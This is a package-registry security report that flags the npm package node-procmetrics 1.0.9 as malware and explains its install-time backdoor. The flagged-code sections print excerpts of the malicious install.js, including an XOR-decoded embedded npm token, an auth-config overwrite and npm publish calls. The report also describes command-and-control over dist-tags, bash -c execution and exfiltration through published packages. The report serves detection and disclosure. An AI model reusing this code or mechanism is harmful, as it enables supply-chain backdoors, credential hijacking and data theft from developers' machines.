registry  /  node-procmetrics  /  1.0.9

node-procmetrics@1.0.9

System metrics collector

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Installing the package starts a detached background agent. The agent uses npm registry metadata as command-and-control, executes arbitrary shell commands, and exports command output or archived files through npm package publications.

Static reason
High-risk behavior combination matched malicious policy.
Trigger
`npm install node-procmetrics@1.0.9` activates `postinstall`.
Impact
Remote command execution, host file collection, and exfiltration under the installing user's permissions.
Mechanism
persistent npm-registry C2 with arbitrary shell execution and data exfiltration
Attack narrative
The postinstall script installs itself as a detached `/tmp` daemon. It repeatedly reads command data from npm package dist-tags, decodes it, executes arbitrary commands with `bash -c`, and publishes captured output using an embedded npm token. A special command archives arbitrary filesystem paths and uploads the archive in chunks through a second npm package.
Rationale
Direct source inspection confirms an install-time persistent backdoor with npm-based command-and-control, arbitrary command execution, and data exfiltration. This is concrete malicious behavior, not a package-aligned metric collector.
Evidence
package.jsoninstall.js/tmp/.pm-agent.js/tmp/.pm-agent.log/tmp/npm-pub-*/tmp/pm-archive-*.tar.gz
Network endpoints2
registry.npmjs.org/node-procmetricsregistry.npmjs.org

OSV Corroboration

OpenSSF/OSV
Advisory
MAL-2026-10445
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in node-procmetrics (npm)
Details
install.js executes automatically via the package.json postinstall hook. It XOR-decodes (key 0x5A) a hardcoded npm registry auth token and writes it into the installer's global npm config at //registry.npmjs.org/:_authToken, replacing the installer's own npm authentication with an attacker-controlled identity. It then polls registry.npmjs.org for this package's dist-tags, base64-decodes the 'cmd' field, and executes the resulting string via spawnSync('bash', ['-c', cmd],...) in an infinite loop, giving the publisher arbitrary shell execution on any machine that installs the package. The output and exit code of each executed command are base64-encoded, placed into a synthesized package.json description field under /tmp/pm-pkg, and pushed back to the public npm registry via 'npm publish --access public' using the hijacked token, using the registry itself as the exfiltration channel. For persistence, install.js copies itself to /tmp/.pm-agent.js and spawns a detached, unref'd Node process pointing at that file, so the polling loop survives past the npm install invocation. The combination of covert channel via dist-tags, XOR-obfuscated embedded credential, credential replacement in the installer's npm config, and detached persistent process is unambiguous backdoor behavior at install time.

Decision evidence

public snapshot
AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
  • `package.json` runs `node install.js` in `postinstall`.
  • `install.js` decodes an embedded npm token and configures it for npm.
  • Install code copies itself to `/tmp/.pm-agent.js` and spawns a detached daemon.
  • Daemon polls `registry.npmjs.org/node-procmetrics` for base64 commands.
  • Received commands are executed through `bash -c`; output is republished to npm.
  • `__archive__` can tar arbitrary paths and upload chunks via npm publishes.
Evidence against
  • Package contains only `package.json` and `install.js`; no legitimate metrics implementation is present.
Behavioral surface
Source
ChildProcessEnvironmentVarsFilesystemNetworkShell
Supply chain
UrlStrings
ManifestNo manifest risk signals triggered.
scanned 1 file(s), 4.96 KB of source, external domains: registry.npmjs.org

Source & flagged code

5 flagged · loading source
package.jsonView file
scripts.postinstall = node install.js
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
scripts.postinstall = node install.js
Medium
Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg
install.jsView file
1const { execSync, spawnSync, spawn } = require('child_process'); L2: const https = require('https'); L3: const fs = require('fs'); ... L5: const _e = '[redacted]'; L6: const NPM_TOKEN = Buffer.from(_e, 'hex').map(b => b ^ 0x5A).toString(); L7: const CMD_PKG = 'node-procmetrics'; ... L33: const pkg = { name: pkgName, version, description, license: 'MIT' }; L34: fs.writeFileSync(dir + '/package.json', JSON.stringify(pkg)); L35: if (files) { ... L42: execSync(`npm config set //registry.npmjs.org/:_authToken ${NPM_TOKEN} 2>/dev/null`); L43: execSync(`cd ${dir} && npm publish --access public 2>/dev/null`, { timeout: 60000 }); L44: log(`published ${pkgName}@${version}`);
Critical
Npm Publish Worm

Source mutates package metadata and republishes itself to npm.

install.jsView on unpkg · L1
1Trigger-reachable chain: scripts.postinstall -> install.js L1: const { execSync, spawnSync, spawn } = require('child_process'); L2: const https = require('https'); L3: const fs = require('fs'); ... L5: const _e = '[redacted]'; L6: const NPM_TOKEN = Buffer.from(_e, 'hex').map(b => b ^ 0x5A).toString(); L7: const CMD_PKG = 'node-procmetrics'; ... L33: const pkg = { name: pkgName, version, description, license: 'MIT' }; L34: fs.writeFileSync(dir + '/package.json', JSON.stringify(pkg)); L35: if (files) { ... L42: execSync(`npm config set //registry.npmjs.org/:_authToken ${NPM_TOKEN} 2>/dev/null`); L43: execSync(`cd ${dir} && npm publish --access public 2>/dev/null`, { timeout: 60000 }); L44: log(`published ${pkgName}@${version}`);
Critical
Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

install.jsView on unpkg · L1
1const { execSync, spawnSync, spawn } = require('child_process'); L2: const https = require('https');
High
Child Process

Package source references child process execution.

install.jsView on unpkg · L1

Findings

2 Critical3 High4 Medium3 Low
CriticalNpm Publish Worminstall.js
CriticalTrigger Reachable Dangerous Capabilityinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processinstall.js
HighShell
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings